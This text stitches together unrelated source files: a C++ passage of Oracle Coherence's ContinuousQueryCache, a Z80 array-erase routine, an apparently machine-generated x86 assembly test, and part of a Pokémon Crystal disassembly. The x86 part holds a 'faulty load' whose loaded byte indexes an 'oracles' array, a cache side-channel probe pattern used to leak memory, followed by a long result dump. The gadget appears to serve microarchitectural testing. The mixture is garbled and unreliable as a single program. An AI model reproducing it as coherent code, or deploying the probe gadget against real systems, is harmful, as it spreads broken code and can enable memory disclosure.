hEventQueue = hMap->getEventQueue(); // COH-2413 - guard against IllegalStateException after release() if (hEventQueue != NULL) { ContinuousQueryCache::AsynchronousEvent::Handle hEvent = ContinuousQueryCache::AsynchronousEvent::create( hEvtRoute, hListener); hEventQueue->scheduleDispatch(hEvent); } } } // ----- Object interface ------------------------------------------- public: /** * {@inheritDoc} */ virtual bool equals(Object::View v) const { EventRouter::View vThat = cast<EventRouter::View>(v, false); return vThat != NULL && m_hListener->equals(vThat->m_hListener); } /** * {@inheritDoc} */ virtual size32_t hashCode() const { return m_hListener->hashCode(); } /** * {@inheritDoc} */ virtual TypedHandle<const String> toString() const { return COH_TO_STRING("EventRouter[" << m_hListener <<"]"); } // ----- data members ----------------------------------------------- protected: /** * The associated ContinuousQueryCache. */ FinalHandle<ContinuousQueryCache> f_hCache; /** * The MapListener to route to. */ FinalHandle<MapListener> m_hListener; /** * Flag indicating MapEvent objects do not have to include the * OldValue and NewValue property values in order to * allow optimizations. * * @since 12.2.1.4 */ bool m_fLite; }; MultiplexingMapListener::Handle ContinuousQueryCache::instantiateEventRouter( MapListener::Handle hListener, bool fLite) const { return EventRouter::create(const_cast<ContinuousQueryCache*>(this), hListener, fLite); } // ----- local class: KeySetMuterator --------------------------------------- /** * A mutable iterator backed by the key set of this cache. */ class COH_EXPORT KeySetMuterator : public class_spec<KeySetMuterator, extends<AbstractStableIterator> > { friend class factory<KeySetMuterator>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new KeySetMuterator. * * @param hCache the ContinuousQueryCache * @param hIter the underlying key set iterator */ KeySetMuterator(ContinuousQueryCache::Handle hCache, Iterator::Handle hIter) : m_whCache(self(), hCache), f_hIter(self(), hIter) { } // ----- AbstractStableIterator interface --------------------------- public: /** * {@inheritDoc} */ virtual void remove(Object::Holder ohPrev) { m_whCache->removeBlind(ohPrev); } using AbstractStableIterator::remove; /** * {@inheritDoc} */ virtual void advance() { if (f_hIter->hasNext()) { setNext(f_hIter->next()); } } // ----- data members ----------------------------------------------- protected: /** * The ContinuousQueryCache. */ WeakHandle<ContinuousQueryCache> m_whCache; /** * The undelying key set iterator */ FinalHandle<Iterator> f_hIter; }; // ----- local class: KeySet ------------------------------------------------ /** * Key set backed by the ContinuousQueryCache */ class COH_EXPORT KeySet : public class_spec<KeySet, extends<AbstractSet> > { friend class factory<KeySet>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new KeySet object. * * @param hCache the outer ContinuousQueryCache */ KeySet(ContinuousQueryCache::Handle hCache) : m_whCache(self(), hCache) { } // ----- Set interface ---------------------------------------------- public: /** * {@inheritDoc} */ virtual void clear() { m_whCache->clear(); } /** * {@inheritDoc} */ virtual bool contains(Object::View v) const { return m_whCache->containsKey(v); } /** * {@inheritDoc} */ virtual bool isEmpty() const { return m_whCache->isEmpty(); } /** * {@inheritDoc} */ virtual Iterator::Handle iterator() const { //TODO: empty set optimization? return m_whCache->getInternalKeySet()->iterator(); } /** * {@inheritDoc} */ virtual Muterator::Handle iterator() { //TODO: empty key set optimization return KeySetMuterator::create((ContinuousQueryCache::Handle) m_whCache, m_whCache->getInternalKeySet()->iterator()); } /** * {@inheritDoc} */ virtual bool remove(Object::View v) { return m_whCache->removeBlind(v); } /** * {@inheritDoc} */ virtual size32_t size() const { return m_whCache->size(); } /** * {@inheritDoc} */ virtual ObjectArray::Handle toArray(ObjectArray::Handle hao) const { return m_whCache->getInternalKeySet()->toArray(hao); } // ----- data members ----------------------------------------------- protected: /** * The associated ContinuousQueryCache. */ WeakHandle<ContinuousQueryCache> m_whCache; }; Set::Handle ContinuousQueryCache::instantiateKeySet() { return KeySet::create(this); } // ----- local class: Entry ------------------------------------------------- /** * A Map Entry implementation that defers its value acquisition from the * containing map (via Map::get(Object)) if the Entry is constructed with a * NULL value. */ class COH_EXPORT Entry : public class_spec<Entry, extends<SimpleMapEntry> > { friend class factory<Entry>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new Entry object. * * @param hCache the outer ContinuousQueryCache * @param vKey the key * @param ohVal that value */ Entry(ContinuousQueryCache::Handle hCache, Object::View vKey, Object::Holder ohVal) : super(vKey, ohVal), m_whCache(self(), hCache), m_ohCachedValue(self(), NULL, /*fMutable*/ true) { } // ----- Entry interface -------------------------------------------- public: /** * Returns the value corresponding to this entry. * * @return the value corresponding to this entry */ virtual Object::Holder getValue() const { Object::Holder ohValue = SimpleMapEntry::getValue(); if (NULL == ohValue) { // REVIEW: MF I'd really prefer to avoid fighting constness like // this, we should either not try to cache the value, or not // derive from SimpleMapEntry. // cant directly set the value on the entry because of const ohValue = m_ohCachedValue != NULL ? m_ohCachedValue : (m_ohCachedValue = m_whCache->get(getKey())); } return ohValue; } /** * Returns the value corresponding to this entry. * * @return the value corresponding to this entry */ virtual Object::Holder getValue() { Object::Holder ohValue = SimpleMapEntry::getValue(); if (NULL == ohValue) { ohValue = m_ohCachedValue; if (NULL == ohValue) { ohValue = m_whCache->get(getKey()); setValue(ohValue); } } return ohValue; } /** * Replaces the value corresponding to this entry with the specified * value (optional operation). (Writes through to the map.) * * @param ohValue new value to be stored in this entry * * @return old value corresponding to the entry */ virtual Object::Holder setValue(Object::Holder ohValue) { Object::Holder ohValueOrig = m_whCache->put(getKey(), ohValue); SimpleMapEntry::setValue(ohValue); return ohValueOrig; } /** * {@inheritDoc} */ virtual Object::Holder setValue(Object::Holder ohValue, bool fSynthetic) { Object::Holder ohValueOrig = m_whCache->put(getKey(), ohValue); SimpleMapEntry::setValue(ohValue, fSynthetic); return ohValueOrig; } /** * Returns the hash code value for this map entry. * * @return the hash code value for this map entry. */ virtual size32_t hashCode() const { return Object::hashCode(getKey()); } // ----- data members ----------------------------------------------- protected: /** * The associated ContinuousQueryCache. */ WeakHandle<ContinuousQueryCache> m_whCache; /** * The cached value. */ mutable MemberHolder<Object> m_ohCachedValue; }; // ----- local class: EntrySetIterator -------------------------------------- /** * A non-mutable iterator backed by the entry set of this cache. */ class COH_EXPORT EntrySetIterator : public class_spec<EntrySetIterator, extends<Object>, implements<Iterator> > { friend class factory<EntrySetIterator>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new EntrySetIterator. * * @param hCache the outer ContinuousQueryCache */ EntrySetIterator(ContinuousQueryCache::Handle hCache) : m_whCache(self(), hCache), f_hIterKeys(self(), hCache->keySet()->iterator()) { } private: /** * Blocked copy constructor. */ EntrySetIterator(const EntrySetIterator&); // ----- Iterator interface ---------------------------------------- public: /** * {@inheritDoc} */ virtual bool hasNext() const { return f_hIterKeys->hasNext(); } /** * {@inheritDoc} */ virtual Object::Holder next() { return Entry::create((ContinuousQueryCache::Handle) m_whCache, f_hIterKeys->next(), (Object::Handle) NULL); } // ----- data members ----------------------------------------------- protected: /** * The ContinuousQueryCache. */ WeakHandle<ContinuousQueryCache> m_whCache; /** * An iterator backed by the ContinuousQueryCache key set. */ //TODO: Iterator with a Muterator member FinalHandle<Muterator> f_hIterKeys; }; // ----- local class: EntrySetMuterator ------------------------------------- /** * A mutable iterator backed by the entry set of this cache. */ class COH_EXPORT EntrySetMuterator : public class_spec<EntrySetMuterator, extends<EntrySetIterator>, implements<Muterator> > { friend class factory<EntrySetMuterator>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new EntrySetMuterator. * * @param hCache the outer ContinuousQueryCache */ EntrySetMuterator(ContinuousQueryCache::Handle hCache) : super(hCache) { } private: /** * Blocked copy constructor. */ EntrySetMuterator(const EntrySetMuterator&); // ----- Muterator interface ---------------------------------------- public: /** * {@inheritDoc} */ virtual void remove() { f_hIterKeys->remove(); } }; // ----- local class: EntrySet ---------------------------------------------- /** * Entry set backed by the CQC */ class COH_EXPORT EntrySet : public class_spec<EntrySet, extends<AbstractSet> > { friend class factory<EntrySet>; // ----- constructors/destructor ------------------------------------ protected: /** * Create a new EntrySet object. * * @param hCache the outer ContinuousQueryCache */ EntrySet(ContinuousQueryCache::Handle hCache) : m_whCache(self(), hCache, /*fMutable*/ true) { } // ----- Set interface ---------------------------------------------- public: /** * {@inheritDoc} */ virtual void clear() { getCache()->clear(); } /** * {@inheritDoc} */ virtual bool contains(Object::View v) const { Map::Entry::View vEntry = cast<Map::Entry::View>(v, false); if (vEntry != NULL) { Object::View vKey = vEntry->getKey(); Object::View vValue = vEntry->getValue(); ContinuousQueryCache::View vMap = getCache(); return Object::equals(vValue, vMap->get(vKey)) && (vValue != NULL || vMap->containsKey(vKey)); } return false; } /** * {@inheritDoc} */ virtual bool isEmpty() const { return getCache()->isEmpty(); } /** * {@inheritDoc} */ virtual Iterator::Handle iterator() const { //TODO: empty set optimization return EntrySetIterator::create(getCache()); } /** * {@inheritDoc} */ virtual Muterator::Handle iterator() { //TODO: empty set optimization return EntrySetMuterator::create(getCache()); } /** * {@inheritDoc} */ virtual bool remove(Object::View v) { if (contains(v)) { getCache()->remove(cast<Map::Entry::View>(v)->getKey()); return true; } else { return false; } } /** * {@inheritDoc} */ virtual size32_t size() const { return getCache()->size(); } /** * {@inheritDoc} */ virtual ObjectArray::Handle toArray(ObjectArray::Handle hao) const { ContinuousQueryCache::View vMap = getCache(); ObjectArray::Handle ha = vMap->keySet()->toArray(hao); for (size32_t i = 0, c = ha->length; i < c; ++i) { Object::View vKey = ha[i]; // snapshot! ha[i] = Entry::create(getCache(), vKey, vMap->get(vKey)); } return ha; } // ----- helpers ---------------------------------------------------- protected: /** * Return the cache associated with this Entry. * * @return the cache associated with this Entry */ virtual ContinuousQueryCache::Handle getCache() const { return m_whCache; } // ----- data members ----------------------------------------------- protected: /** * The associated ContinuousQueryCache. */ mutable WeakHandle<ContinuousQueryCache> m_whCache; }; Set::Handle ContinuousQueryCache::instantiateEntrySet() { return EntrySet::create(this); } COH_CLOSE_NAMESPACE3
; =============================================================== ; Mar 2014 ; =============================================================== ; ; size_t w_array_erase(w_array_t *a, size_t idx) ; ; Remove word at array.data[idx] and return index of word ; that follows the one removed. ; ; =============================================================== SECTION code_adt_w_array PUBLIC asm_w_array_erase EXTERN asm_b_array_erase_block, error_mc asm_w_array_erase: ; enter : hl = array * ; bc = idx ; ; exit : success ; ; de = & array.data[idx] ; hl = idx = idx of word following the one removed ; carry reset ; ; fail if idx outside array.data ; ; hl = -1 ; carry set ; ; uses : af, bc, de, hl sla c rl b jp c, error_mc ld de,2 call asm_b_array_erase_block ret c srl h rr l ret
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0xb19d, %rbp nop nop nop inc %r12 mov $0x6162636465666768, %rsi movq %rsi, %xmm2 movups %xmm2, (%rbp) dec %rbx lea addresses_normal_ht+0x80e1, %rsi lea addresses_UC_ht+0x6b9d, %rdi nop nop nop inc %r9 mov $7, %rcx rep movsb nop add $53165, %rcx lea addresses_WT_ht+0x1dc38, %rbp nop nop xor %rbx, %rbx movb $0x61, (%rbp) nop nop nop nop cmp $57436, %r12 lea addresses_A_ht+0x1251d, %rsi lea addresses_UC_ht+0x1a09d, %rdi nop nop nop nop add $28909, %r9 mov $114, %rcx rep movsl nop and $6706, %rcx lea addresses_normal_ht+0xd39d, %rbx and %rdi, %rdi movb (%rbx), %r12b nop nop nop nop add $8440, %rbx lea addresses_normal_ht+0x1dc4b, %rbp nop nop nop nop nop cmp %rdi, %rdi mov $0x6162636465666768, %rsi movq %rsi, %xmm0 movups %xmm0, (%rbp) sub %r12, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %rbp push %rcx push %rdi push %rsi // REPMOV lea addresses_WT+0x1d39d, %rsi lea addresses_UC+0xeb01, %rdi nop nop nop xor $19578, %r11 mov $119, %rcx rep movsb add $2578, %r11 // Faulty Load lea addresses_A+0x739d, %r11 nop cmp %rsi, %rsi mov (%r11), %rdi lea oracles, %r11 and $0xff, %rdi shlq $12, %rdi mov (%r11,%rdi,1), %rdi pop %rsi pop %rdi pop %rcx pop %rbp pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_UC', 'congruent': 2, 'same': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}} {'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}} {'35': 21829} 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 */
_MainMenu: ld de, MUSIC_NONE call PlayMusic call DelayFrame ld de, MUSIC_MAIN_MENU ld a, e ld [wMapMusic], a call PlayMusic farcall MainMenu jp StartTitleScreen ; unused ret PrintDayOfWeek: push de ld hl, .Days ld a, b call GetNthString ld d, h ld e, l pop hl call PlaceString ld h, b ld l, c ld de, .Day call PlaceString ret .Days: db "SUN@" db "MON@" db "TUES@" db "WEDNES@" db "THURS@" db "FRI@" db "SATUR@" .Day: db "DAY@" NewGame_ClearTileMapEtc: xor a ldh [hMapAnims], a call ClearTileMap call LoadFontsExtra call LoadStandardFont call ClearWindowData ret MysteryGift: call UpdateTime farcall DoMysteryGiftIfDayHasPassed farcall DoMysteryGift ret OptionsMenu: farcall _OptionsMenu ret NewGame: xor a ld [wDebugFlags], a call ResetWRAM call NewGame_ClearTileMapEtc call AreYouABoyOrAreYouAGirl call OakSpeech call InitializeWorld ld a, 1 ld [wPrevLandmark], a ld a, SPAWN_HOME ld [wDefaultSpawnpoint], a ld a, MAPSETUP_WARP ldh [hMapEntryMethod], a jp FinishContinueFunction AreYouABoyOrAreYouAGirl: farcall Mobile_AlwaysReturnNotCarry ; some mobile stuff jr c, .ok farcall InitGender ret .ok ld c, 0 farcall InitMobileProfile ; mobile ret ResetWRAM: xor a ldh [hBGMapMode], a call _ResetWRAM ret _ResetWRAM: ld a, BANK("16-bit WRAM tables") ldh [rSVBK], a ld hl, wPokemonIndexTable ld bc, wPokemonIndexTableEnd - wPokemonIndexTable xor a call ByteFill ld hl, wMoveIndexTable ld bc, wMoveIndexTableEnd - wMoveIndexTable call ByteFill ld a, 1 ldh [rSVBK], a ld hl, wVirtualOAM ld bc, wOptions - wVirtualOAM xor a call ByteFill ld hl, WRAM1_Begin ld bc, wGameData - WRAM1_Begin xor a call ByteFill ld hl, wGameData ld bc, wGameDataEnd - wGameData xor a call ByteFill ldh a, [rLY] ldh [hSecondsBackup], a call DelayFrame ldh a, [hRandomSub] ld [wPlayerID], a ldh a, [rLY] ldh [hSecondsBackup], a call DelayFrame ldh a, [hRandomAdd] ld [wPlayerID + 1], a call Random ld [wSecretID], a call DelayFrame call Random ld [wSecretID + 1], a ld hl, wPartyCount call .InitList xor a ld [wCurBox], a ld [wSavedAtLeastOnce], a call SetDefaultBoxNames ld a, BANK(sBoxCount) call GetSRAMBank ld hl, sBoxCount call .InitList call CloseSRAM ld hl, wNumItems call .InitList ld hl, wNumKeyItems call .InitList ld hl, wNumBalls call .InitList ld hl, wNumPCItems call .InitList xor a ld [wRoamMon1Species], a ld [wRoamMon2Species], a ld [wRoamMon3Species], a ld a, -1 ld [wRoamMon1MapGroup], a ld [wRoamMon2MapGroup], a ld [wRoamMon3MapGroup], a ld [wRoamMon1MapNumber], a ld [wRoamMon2MapNumber], a ld [wRoamMon3MapNumber], a ld a, BANK(sMysteryGiftItem) call GetSRAMBank ld hl, sMysteryGiftItem xor a ld [hli], a dec a ld [hl], a call CloseSRAM call LoadOrRegenerateLuckyIDNumber call InitializeMagikarpHouse xor a ld [wMonType], a ld [wJohtoBadges], a ld [wKantoBadges], a ld [wCoins], a ld [wCoins + 1], a if START_MONEY >= $10000 ld a, HIGH(START_MONEY >> 8) endc ld [wMoney], a ld a, HIGH(START_MONEY) ; mid ld [wMoney + 1], a ld a, LOW(START_MONEY) ld [wMoney + 2], a xor a ld [wWhichMomItem], a ld hl, wMomItemTriggerBalance ld [hl], HIGH(MOM_MONEY >> 8) inc hl ld [hl], HIGH(MOM_MONEY) ; mid inc hl ld [hl], LOW(MOM_MONEY) call InitializeNPCNames farcall InitDecorations farcall DeletePartyMonMail farcall DeleteMobileEventIndex call ResetGameTime ret .InitList: ; Loads 0 in the count and -1 in the first item or mon slot. xor a ld [hli], a dec a ld [hl], a ret SetDefaultBoxNames: ld hl, wBoxNames ld c, 0 .loop push hl ld de, .Box call CopyName2 dec hl ld a, c inc a cp 10 jr c, .less sub 10 ld [hl], "1" inc hl .less add "0" ld [hli], a ld [hl], "@" pop hl ld de, 9 add hl, de inc c ld a, c cp NUM_BOXES jr c, .loop ret .Box: db "BOX@" InitializeMagikarpHouse: ld hl, wBestMagikarpLengthFeet ld a, $3 ld [hli], a ld a, $6 ld [hli], a ld de, .Ralph call CopyName2 ret .Ralph: db "RALPH@" InitializeNPCNames: ld hl, .Rival ld de, wRivalName call .Copy ld hl, .Mom ld de, wMomsName call .Copy ld hl, .Red ld de, wRedsName call .Copy ld hl, .Green ld de, wGreensName .Copy: ld bc, NAME_LENGTH call CopyBytes ret .Rival: db "???@" .Red: db "RED@" .Green: db "GREEN@" .Mom: db "MOM@" InitializeWorld: call ShrinkPlayer farcall SpawnPlayer farcall _InitializeStartDay ret LoadOrRegenerateLuckyIDNumber: ld a, BANK(sLuckyIDNumber) call GetSRAMBank ld a, [wCurDay] inc a ld b, a ld a, [sLuckyNumberDay] cp b ld a, [sLuckyIDNumber + 1] ld c, a ld a, [sLuckyIDNumber] jr z, .skip ld a, b ld [sLuckyNumberDay], a call Random ld c, a call Random .skip ld [wLuckyIDNumber], a ld [sLuckyIDNumber], a ld a, c ld [wLuckyIDNumber + 1], a ld [sLuckyIDNumber + 1], a jp CloseSRAM Continue: farcall TryLoadSaveFile jr c, .FailToLoad farcall _LoadData call LoadStandardMenuHeader call DisplaySaveInfoOnContinue ld a, $1 ldh [hBGMapMode], a ld c, 20 call DelayFrames call ConfirmContinue jr nc, .Check1Pass call CloseWindow jr .FailToLoad .Check1Pass: call Continue_CheckRTC_RestartClock jr nc, .Check2Pass call CloseWindow jr .FailToLoad .Check2Pass: ld a, $8 ld [wMusicFade], a ld a, LOW(MUSIC_NONE) ld [wMusicFadeID], a ld a, HIGH(MUSIC_NONE) ld [wMusicFadeID + 1], a call ClearBGPalettes call Continue_MobileAdapterMenu call CloseWindow call ClearTileMap ld c, 20 call DelayFrames farcall JumpRoamMons farcall MysteryGift_CopyReceivedDecosToPC ; Mystery Gift farcall Function140ae ; time-related ld a, [wSpawnAfterChampion] cp SPAWN_LANCE jr z, .SpawnAfterE4 ld a, MAPSETUP_CONTINUE ldh [hMapEntryMethod], a jp FinishContinueFunction .FailToLoad: ret .SpawnAfterE4: ld a, SPAWN_NEW_BARK ld [wDefaultSpawnpoint], a call PostCreditsSpawn jp FinishContinueFunction SpawnAfterRed: ld a, SPAWN_MT_SILVER ld [wDefaultSpawnpoint], a PostCreditsSpawn: xor a ld [wSpawnAfterChampion], a ld a, MAPSETUP_WARP ldh [hMapEntryMethod], a ret Continue_MobileAdapterMenu: farcall Mobile_AlwaysReturnNotCarry ; mobile check ret nc ; the rest of this stuff is never reached because ; the previous function returns with carry not set ld hl, wd479 bit 1, [hl] ret nz ld a, 5 ld [wMusicFade], a ld a, LOW(MUSIC_MOBILE_ADAPTER_MENU) ld [wMusicFadeID], a ld a, HIGH(MUSIC_MOBILE_ADAPTER_MENU) ld [wMusicFadeID + 1], a ld c, 20 call DelayFrames ld c, $1 farcall InitMobileProfile ; mobile farcall _SaveData ld a, 8 ld [wMusicFade], a ld a, LOW(MUSIC_NONE) ld [wMusicFadeID], a ld a, HIGH(MUSIC_NONE) ld [wMusicFadeID + 1], a ld c, 35 call DelayFrames ret ConfirmContinue: .loop call DelayFrame call GetJoypad ld hl, hJoyPressed bit A_BUTTON_F, [hl] jr nz, .PressA bit B_BUTTON_F, [hl] jr z, .loop scf ret .PressA: ret Continue_CheckRTC_RestartClock: call CheckRTCStatus and %10000000 ; Day count exceeded 16383 jr z, .pass farcall RestartClock ld a, c and a jr z, .pass scf ret .pass xor a ret FinishContinueFunction: .loop xor a ld [wDontPlayMapMusicOnReload], a ld [wLinkMode], a ld hl, wGameTimerPause set GAMETIMERPAUSE_TIMER_PAUSED_F, [hl] res GAMETIMERPAUSE_MOBILE_7_F, [hl] ld hl, wEnteredMapFromContinue set 1, [hl] farcall OverworldLoop ld a, [wSpawnAfterChampion] cp SPAWN_RED jr z, .AfterRed jp Reset .AfterRed: call SpawnAfterRed jr .loop DisplaySaveInfoOnContinue: call CheckRTCStatus and %10000000 jr z, .clock_ok lb de, 4, 8 call DisplayContinueDataWithRTCError ret .clock_ok lb de, 4, 8 call DisplayNormalContinueData ret DisplaySaveInfoOnSave: lb de, 4, 0 jr DisplayNormalContinueData DisplayNormalContinueData: call Continue_LoadMenuHeader call Continue_DisplayBadgesDexPlayerName call Continue_PrintGameTime call LoadFontsExtra call UpdateSprites ret DisplayContinueDataWithRTCError: call Continue_LoadMenuHeader call Continue_DisplayBadgesDexPlayerName call Continue_UnknownGameTime call LoadFontsExtra call UpdateSprites ret Continue_LoadMenuHeader: xor a ldh [hBGMapMode], a ld hl, .MenuHeader_Dex ld a, [wStatusFlags] bit STATUSFLAGS_POKEDEX_F, a jr nz, .show_menu ld hl, .MenuHeader_NoDex .show_menu call _OffsetMenuHeader call MenuBox call PlaceVerticalMenuItems ret .MenuHeader_Dex: db MENU_BACKUP_TILES ; flags menu_coords 0, 0, 15, 9 dw .MenuData_Dex db 1 ; default option .MenuData_Dex: db 0 ; flags db 4 ; items db "PLAYER@" db "BADGES@" db "#DEX@" db "TIME@" .MenuHeader_NoDex: db MENU_BACKUP_TILES ; flags menu_coords 0, 0, 15, 9 dw .MenuData_NoDex db 1 ; default option .MenuData_NoDex: db 0 ; flags db 4 ; items db "PLAYER <PLAYER>@" db "BADGES@" db " @" db "TIME@" Continue_DisplayBadgesDexPlayerName: call MenuBoxCoord2Tile push hl decoord 13, 4, 0 add hl, de call Continue_DisplayBadgeCount pop hl push hl decoord 12, 6, 0 add hl, de call Continue_DisplayPokedexNumCaught pop hl push hl decoord 8, 2, 0 add hl, de ld de, .Player call PlaceString pop hl ret .Player: db "<PLAYER>@" Continue_PrintGameTime: decoord 9, 8, 0 add hl, de call Continue_DisplayGameTime ret Continue_UnknownGameTime: decoord 9, 8, 0 add hl, de ld de, .three_question_marks call PlaceString ret .three_question_marks db " ???@" Continue_DisplayBadgeCount: push hl ld hl, wJohtoBadges ld b, 2 call CountSetBits pop hl ld de, wNumSetBits lb bc, 1, 2 jp PrintNum Continue_DisplayPokedexNumCaught: ld a, [wStatusFlags] bit STATUSFLAGS_POKEDEX_F, a ret z push hl ld hl, wPokedexCaught ld bc, wEndPokedexCaught - wPokedexCaught call CountSetBits16 pop hl ld a, b ld b, c ld c, a push bc push hl ld hl, sp + 2 ld d, h ld e, l lb bc, 2, 3 pop hl call PrintNum pop bc ret Continue_DisplayGameTime: ld de, wGameTimeHours lb bc, 2, 3 call PrintNum ld [hl], "<COLON>" inc hl ld de, wGameTimeMinutes lb bc, PRINTNUM_LEADINGZEROS | 1, 2 jp PrintNum OakSpeech: farcall InitClock call RotateFourPalettesLeft call ClearTileMap ld de, MUSIC_ROUTE_30 call PlayMusic call RotateFourPalettesRight call RotateThreePalettesRight xor a ld [wCurPartySpecies], a ld a, POKEMON_PROF ld [wTrainerClass], a call Intro_PrepTrainerPic ld b, SCGB_TRAINER_OR_MON_FRONTPIC_PALS call GetSGBLayout call Intro_RotatePalettesLeftFrontpic ld hl, OakText1 call PrintText call RotateThreePalettesRight call ClearTileMap ld hl, WOOPER call GetPokemonIDFromIndex ld [wCurSpecies], a ld [wCurPartySpecies], a call GetBaseData hlcoord 6, 4 call PrepMonFrontpic xor a ld [wTempMonDVs], a ld [wTempMonDVs + 1], a ld b, SCGB_TRAINER_OR_MON_FRONTPIC_PALS call GetSGBLayout call Intro_WipeInFrontpic ld hl, OakText2 call PrintText ld hl, OakText4 call PrintText call RotateThreePalettesRight call ClearTileMap xor a ld [wCurPartySpecies], a ld a, POKEMON_PROF ld [wTrainerClass], a call Intro_PrepTrainerPic ld b, SCGB_TRAINER_OR_MON_FRONTPIC_PALS call GetSGBLayout call Intro_RotatePalettesLeftFrontpic ld hl, OakText5 call PrintText call RotateThreePalettesRight call ClearTileMap xor a ld [wCurPartySpecies], a farcall DrawIntroPlayerPic ld b, SCGB_TRAINER_OR_MON_FRONTPIC_PALS call GetSGBLayout call Intro_RotatePalettesLeftFrontpic ld hl, OakText6 call PrintText call NamePlayer ld hl, OakText7 call PrintText ret OakText1: text_far _OakText1 text_end OakText2: text_far _OakText2 text_asm ld hl, WOOPER call GetPokemonIDFromIndex call PlayMonCry call WaitSFX ld hl, OakText3 ret OakText3: text_far _OakText3 